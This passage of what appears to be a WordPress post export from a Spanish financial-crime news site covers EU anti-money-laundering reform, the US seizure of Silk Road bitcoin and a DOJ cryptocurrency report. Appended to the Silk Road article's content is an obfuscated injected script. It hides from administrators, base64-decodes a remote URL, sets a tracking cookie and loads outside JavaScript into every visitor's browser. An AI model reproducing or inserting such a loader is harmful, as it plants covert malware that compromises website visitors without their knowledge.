href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y 